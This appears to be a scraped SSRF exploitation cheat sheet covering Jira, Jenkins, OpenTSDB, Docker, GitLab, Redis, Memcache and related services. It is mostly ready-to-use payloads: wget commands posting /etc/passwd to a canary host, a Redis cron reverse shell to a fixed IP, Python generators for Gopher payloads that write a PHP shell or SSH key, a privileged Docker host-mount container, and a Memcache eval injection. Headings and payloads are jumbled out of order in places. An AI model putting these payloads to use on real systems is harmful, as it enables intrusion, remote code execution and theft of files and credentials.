/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Jira Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian Security Ticket JRASERVER-69793
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
Other Atlassian Products Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506) :
Bamboo < 6.0.0 Bitbucket < 4.14.4 Crowd < 2.11.2 Crucible < 4.3.2 Fisheye < 4.3.2 Atlassian Security Ticket OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB Commonly bound port: 4242
OpenTSDB Remote Code Execution
SSRF Canary: curl via RCE
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB 2.4.0 Remote Code Execution
SSRF Canary: curl via RCE - CVE-2020-35476
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
Jenkins Commonly bound ports: 80,443 (SSL),8080,8888
Great writeup here .
SSRF Canary: CVE-2018-1000600
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Jenkins
RCE
Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE via Groovy
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
Hystrix Dashboard Commonly bound ports: 80,443 (SSL),8080
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
SSRF Canary: CVE-2020-5412
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
W3 Total Cache Commonly bound ports: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
This needs to be a PUT request:
/proxy.stream?origin=http://SSRF_CANARY/
SSRF Canary
The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerability
This PHP code will generate a payload for your SSRF Canary host (replace <span class="code_single-line">url</span> with your canary host):
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
Docker Commonly bound ports: 2375, 2376 (SSL)
If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API:
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
RCE via running an arbitrary docker image
/containers/json
/secrets
/services
Replace alpine with an arbitrary image you would like the docker container to run.
Gitlab Prometheus Redis Exporter Commonly bound ports: 9121
This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation <span class="code_single-line">Prometheus and its exporters are on by default, starting with GitLab 9.0</span>.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Possible via Gopher
Redis Commonly bound port: 6379
Recommended reading:
RCE via Cron - Gopher Attack Surfaces
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
Gopher:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
RCE via Shell Upload (PHP) - Redis Getshell Summary
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
RCE via authorized_keys - Redis Getshell Summary
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE on GitLab via Git protocol
Great writeup from Liveoverflow here .
While this required authenticated access to GitLab to exploit, I am including the payload here as the <span class="code_single-line">git</span> protocol may work on the target you are hacking. This payload is for reference.
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Memcache Commonly bound port: 11211
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Apache Tomcat Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Effective against Tomcat 6 only:
gopher-tomcat-deployer
CTF writeup using this technique:
From XXE to RCE: Pwn2Win CTF 2018 Writeup
FastCGI Commonly bound ports: 80,443 (SSL)
This was taken from here .
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
Tools
Gopherus This tool generates Gopher payloads for:
MySQL PostgreSQL FastCGI Redis Zabbix Memcache SSRF Proxy SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
Credits:
Thank you to the following people that have contributed to this post:
